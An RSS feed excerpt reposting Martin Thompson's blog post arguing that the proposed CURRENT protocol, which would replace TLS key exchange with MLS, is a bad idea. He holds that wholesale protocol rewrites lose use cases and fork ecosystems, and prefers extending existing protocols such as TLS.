vendors are solving real-world problems today," McDowell said. " They do this by talking to organizations running similar workloads at similar scale. If a vendor can't point to that, then it should be a warning sign."</p>]]></content:encoded>
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<title><![CDATA[Martin Thompson: Why in Building Protocols, Like Code, Starting Over Is Dumb]]></title>
<description><![CDATA[Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.
This is somewhere between a pretty bad idea
and a horrible idea.
The wholesal...]]></description>
<link>https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</guid>
<pubDate>Tue, 21 Jul 2026 22:58:58 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.</p>
<p>This is somewhere between a pretty bad idea
and a horrible idea.</p>
<p>The wholesale replacement of a huge chunk of protocol architectures
is a hallmark of a lot of the AI-generated protocol proposals
that have flooded the IETF.
A small blemish is identified,
then the fix is a whole new protocol,
or a major piece of surgery.
No regard for the wisdom of Chesterton’s Fence
or the accumulated knowledge and usefulness embodied in what exists.</p>
<p>Experienced engineers know that rewriting a code module
is not something you do lightly.
There’s lots of literature out there about why this is a bad idea generally,
and some emerging discussion about how AI might just change that.</p>
<p>The reasons not to rewrite a software component still largely apply
to a protocol component.
The reasons that AI might make it easier to do that safely, less so.
Protocols are different.</p>
<h3>Wholesale Change Will Miss Use Cases</h3>
<p>Just like with a code change,
a protocol component that changes will miss use cases
that people really care about.</p>
<p>The usual concerns with code apply:</p>
<ul>
<li>The existing features you know about and can test for
can be handled.</li>
<li>The existing problems you know and care about can be fixed.</li>
<li>You inevitably introduce brand-new problems.</li>
<li>The existing features you don’t know about
get lost.</li>
</ul>
<p>Unlike code changes, you probably don’t have a test case
for existing features that you didn’t know about.
We found that with HTTP/2,
where a number of use cases got lost in the process
of “upgrading” HTTP.</p>
<p>In HTTP/1.1,
performing client authentication
in the middle of request was possible.
Losing that capability in HTTP/2
affected few enough people
that it was not badly damaging for the ecosystem.
It still sucked.</p>
<p>A lot of work was done to try to find these issues,
but we did not learn about these problems until fairly late in the process.</p>
<p>Proposing a protocol change means asking a whole lot of other people,
many of whom are not invested in your goals,
to do that work.</p>
<p>Changing a protocol by replacing a chunk of it,
no matter how much care is taken,
either asks the entire ecosystem to change with you.</p>
<p>That means asking everyone to move with you.
If they don’t, you are not changing the protocol,
you are forking it.</p>
<h3>Forking A Protocol Destroys Interoperability</h3>
<p>The real value of having a protocol like TLS
is that a great many things can all talk to each other.</p>
<p>Forking a protocol –
and sometimes profiling a protocol, a subject for another post –
destroys that.
You now have two ways to achieve the same goal,
and a choice to join one of two clubs.
You can join both, but that means constantly translating back and forth,
something that can only get harder over time
as protocol semantics diverge.</p>
<p>And yes, in case you were asking,
this applies to the entirety of the IETF IoT sphere,
which has parallel HTTP, TLS, and other analogues.
Ostensibly, these address the needs of highly constrained hardware,
but the cost is an ecosystem cut off from the mainstream.</p>
<h3>But Fixing Protocols Is Hard</h3>
<p>Yes, existing protocols come with baggage
or technical debt.
Maybe they aren’t perfectly optimized for your use.</p>
<p>The value that an existing protocol carries
is that you are sharing the burden of its maintenance
with a great many more people.
Fixing it, maybe by adding extensions to support your needs,
comes with opportunities to improve the protocol
even beyond that immediate need.
Every change is a chance to work off some of the accumulated cruft.</p>
<p>Major refreshes, like the TLS 1.3 reworking,
cleared out a ton of cruft in the process.
You get to benefit from the work that others do to improve that protocol too.</p>
<h3>Do the Work</h3>
<p>It is hard to be a responsible steward for the fabric of the Internet.
We do it because it is worthwhile.
Ignoring the lessons of the past is not helpful.</p>]]></content:encoded>
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